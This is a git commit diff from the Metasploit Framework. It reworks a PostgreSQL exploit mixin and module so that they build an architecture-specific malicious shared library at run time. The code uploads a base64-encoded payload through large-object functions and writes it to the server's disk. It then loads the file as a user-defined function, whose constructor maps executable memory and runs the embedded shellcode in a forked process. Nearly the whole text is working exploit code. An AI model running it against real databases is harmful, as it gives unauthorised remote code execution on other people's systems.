Compile a .so instead of being version-specific

This makes it possible to use payloads for the appropriate architecture

NOTE: need to test windows and make sure I didn't break it
bug/bundler_fix
James Lee 2012-10-13 15:18:25 -05:00
parent ad1870d819
commit 9c6fdbe9d7
2 changed files with 118 additions and 117 deletions

View File

@ -98,7 +98,6 @@ module Exploit::Remote::Postgres
def postgres_query(sql=nil,doprint=false)
ip = datastore['RHOST']
port = datastore['RPORT']
verbose = datastore['VERBOSE']
postgres_login unless self.postgres_conn
unless self.postgres_conn
return {:conn_error => true}
@ -155,7 +154,7 @@ module Exploit::Remote::Postgres
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
# inferring version number from the failed authentication messages.
def postgres_fingerprint(args={})
postgres_logout if self.postgres_conn
return postgres_authed_fingerprint if self.postgres_conn
db = args[:database] || datastore['DATABASE']
username = args[:username] || datastore['USERNAME']
password = args[:password] || datastore['PASSWORD']
@ -167,7 +166,6 @@ module Exploit::Remote::Postgres
uri = "tcp://[#{rhost}]:#{rport}"
end
verbose = args[:verbose] || datastore['VERBOSE']
begin
self.postgres_conn = Connection.new(db,username,password,uri)
@ -175,11 +173,13 @@ module Exploit::Remote::Postgres
version_hash = analyze_auth_error e
return version_hash
end
if self.postgres_conn # Just ask for the version.
resp = postgres_query("select version()",false)
ver = resp[:complete].rows[0][0]
return {:auth => ver}
end
return postgres_authed_fingerprint if self.postgres_conn
end
def postgres_authed_fingerprint
resp = postgres_query("select version()",false)
ver = resp[:complete].rows[0][0]
return {:auth => ver}
end
# Matches up filename, line number, and routine with a version.
@ -264,7 +264,7 @@ module Exploit::Remote::Postgres
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
COPY #{temp_table_name} FROM '#{filename}';
SELECT * FROM #{temp_table_name}}
read_return = postgres_query(read_query,true)
return postgres_query(read_query,true)
end
def postgres_has_database_privilege(priv)
@ -288,17 +288,6 @@ module Exploit::Remote::Postgres
return true
end
# Creates the function sys_exec() in the pg_temp schema.
def postgres_create_sys_exec_linux(so)
q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{so}', 'sys_exec' language C returns null on null input immutable"
resp = postgres_query(q);
if resp[:sql_error]
print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}"
return false
end
return true
end
# This presumes the pg_temp.sys_exec() udf has been installed, almost
# certainly by postgres_create_sys_exec()
def postgres_sys_exec(cmd)
@ -315,8 +304,13 @@ module Exploit::Remote::Postgres
# Takes a local filename and uploads it into a table as a Base64 encoded string.
# Returns an array if successful, false if not.
def postgres_upload_binary_file_linux(fname)
data = postgres_base64_file(fname)
def postgres_upload_binary_file(fname, remote_fname=nil)
data = File.read(fname)
postgres_upload_binary_data(data, remote_fname)
end
def postgres_upload_binary_data(data, remote_fname=nil)
data = postgres_base64_data(data)
tbl,fld = postgres_create_stager_table
return false unless data && tbl && fld
q = "insert into #{tbl}(#{fld}) values('#{data}')"
@ -325,37 +319,32 @@ module Exploit::Remote::Postgres
print_error resp[:sql_error]
return false
end
oid, fout = postgres_write_data_to_disk_linux(tbl,fld)
return false unless oid && fout
return [tbl,fld,fout,oid]
end
# Takes a local filename and uploads it into a table as a Base64 encoded string.
# Returns an array if successful, false if not.
def postgres_upload_binary_file(fname)
data = postgres_base64_file(fname)
tbl,fld = postgres_create_stager_table
return false unless data && tbl && fld
q = "insert into #{tbl}(#{fld}) values('#{data}')"
resp = postgres_query(q)
if resp[:sql_error]
print_error resp[:sql_error]
return false
end
oid, fout = postgres_write_data_to_disk(tbl,fld)
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
return false unless oid && fout
return [tbl,fld,fout,oid]
end
# Writes b64 data from a table field, decoded, to disk.
def postgres_write_data_to_disk_linux(tbl,fld)
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
oid = rand(60000) + 1000
fname = "/tmp/" + Rex::Text::rand_text_alpha(8) + ".so"
queries = [
"select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{fname}')"
]
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
ver = postgres_fingerprint
case ver[:auth]
when /PostgreSQL 8\./
queries = [
"select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{remote_fname}')"
]
when /PostgreSQL 9\./
queries = [
"select lo_create(#{oid})",
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
"select lo_export(#{oid}, '#{remote_fname}')"
]
end
queries.each do |q|
resp = postgres_query(q)
if resp && resp[:sql_error]
@ -364,37 +353,16 @@ module Exploit::Remote::Postgres
break
end
end
return oid,fname
end
# Writes b64 data from a table field, decoded, to disk.
def postgres_write_data_to_disk(tbl,fld)
oid = rand(60000) + 1000
fname = Rex::Text::rand_text_alpha(8) + ".dll"
queries = [
"select lo_create(#{oid})",
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
"select lo_export(#{oid}, '#{fname}')"
]
queries.each do |q|
resp = postgres_query(q)
if resp && resp[:sql_error]
print_error "Could not write the library to disk."
print_error resp[:sql_error]
break
end
end
return oid,fname
return oid,remote_fname
end
# Base64's a file and returns the data.
def postgres_base64_file(fname)
data = File.open(fname, "rb") {|f| f.read f.stat.size}
[data].pack("m*").gsub(/\r?\n/,"")
postgres_base64_data(data)
end
def postgres_base64_elf(data)
def postgres_base64_data(data)
[data].pack("m*").gsub(/\r?\n/,"")
end

View File

@ -10,6 +10,8 @@
##
require 'msf/core'
require 'msf/core/exploit/postgres'
load 'lib/msf/core/exploit/postgres.rb'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
@ -34,41 +36,31 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Author' =>
[
'midnitesnake' # this Metasploit module
'midnitesnake', # this Metasploit module
'egypt' # .so technique
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt'
]
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Platform' => 'linux',
'Payload' =>
{
'Space' => 0x65535,
'Space' => 65535,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl',
}
},
'Targets' =>
[
[ 'Automatic', { } ],
],
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 05 2007'
))
register_options(
[
OptEnum.new('BITS',[true,'The architecture of the operating system X86(32) / or X86_64(64) bit OS','32',['32','64']])
],self.class)
deregister_options('SQL', 'RETURN_ROWSET')
end
@ -76,9 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote
def username; datastore['USERNAME']; end
def password; datastore['PASSWORD']; end
def database; datastore['DATABASE']; end
def rhost; datastore['rhost']; end
def rport; datastore['rport']; end
def verbose; datastore['VERBOSE']; end
def rhost; datastore['RHOST']; end
def rport; datastore['RPORT']; end
def bits; datastore['BITS'];end
def execute_command(cmd, opts)
@ -92,49 +84,34 @@ class Metasploit3 < Msf::Exploit::Remote
when :noauth; print_error "Authentication failed."
when :noconn; print_error "Connection failed."
end
return unless version =~ /8\.[234]/
#return unless version =~ /8\.[234]/
print_status "Authentication successful and vulnerable version #{version} on Linux confirmed."
tbl,fld,so,oid = postgres_upload_binary_file_linux(so_fname(version))
tbl,fld,so,oid = postgres_upload_binary_data(
payload_so,
"/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
)
unless tbl && fld && so && oid
print_error "Could not upload the UDF SO"
return
end
print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
ret_sys_exec = postgres_create_sys_exec_linux(so)
if ret_sys_exec
if @postgres_conn
print_status "Success"
tbl,fld,myexploit,oid = postgres_upload_binary_file_elf("#!/bin/sh\n" + payload.encode)
unless tbl && fld && myexploit && oid
print_error "Could not upload the PAYLOAD"
return
end
print_status "Uploaded #{myexploit} as OID #{oid} to table #{tbl}(#{fld})"
postgres_sys_exec("chmod 755 #{myexploit}")
postgres_sys_exec("#{myexploit}")
handler
postgres_logout if @postgres_conn
else
print_error "Lost connection."
return
end
begin
postgres_create_sys_exec(so)
rescue
end
postgres_logout if @postgres_conn
end
def so_fname(version)
print_status "Using #{version}/#{bits}/lib_postgresqludf_sys.so"
File.join(Msf::Config.install_root,"data","exploits","postgres",version,bits,"lib_postgresqludf_sys.so")
end
# A shorter version of do_fingerprint from the postgres_version scanner
# module, specifically looking for versions that valid targets for this
# module.
def get_version(user=nil,pass=nil,database=nil)
begin
msg = "#{rhost}:#{rport} Postgres -"
#msg = "#{rhost}:#{rport} Postgres -"
password = pass || postgres_password
vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
result = postgres_fingerprint(
@ -164,4 +141,60 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def payload_so
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
#shellcode = "\\xcc"
c = %Q^
int _exit(int);
int printf(const char*, ...);
int perror(const char*);
void *mmap(int, int, int, int, int, int);
void *memcpy(void *, const void *, int);
int mprotect(void *, int, int);
int fork();
#define MAP_PRIVATE 2
#define MAP_ANONYMOUS 32
#define PROT_READ 1
#define PROT_WRITE 2
#define PROT_EXEC 4
#define PAGESIZE 0x1000
char shellcode[] = "#{shellcode}";
void run_payload(void) __attribute__((constructor));
void run_payload(void)
{
int (*fp)();
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
memcpy(fp, shellcode, sizeof(shellcode));
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
_exit(1);
}
if (!fork()) {
fp();
}
return;
}
^
cpu = case target_arch.first
when ARCH_X86; Metasm::Ia32.new
when ARCH_X86_64; Metasm::X86_64.new
end
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")
so_file = payload_so.encode_string(:lib)
File.open("payload.so", "wb") { |fd| fd.write so_file }
so_file
end
end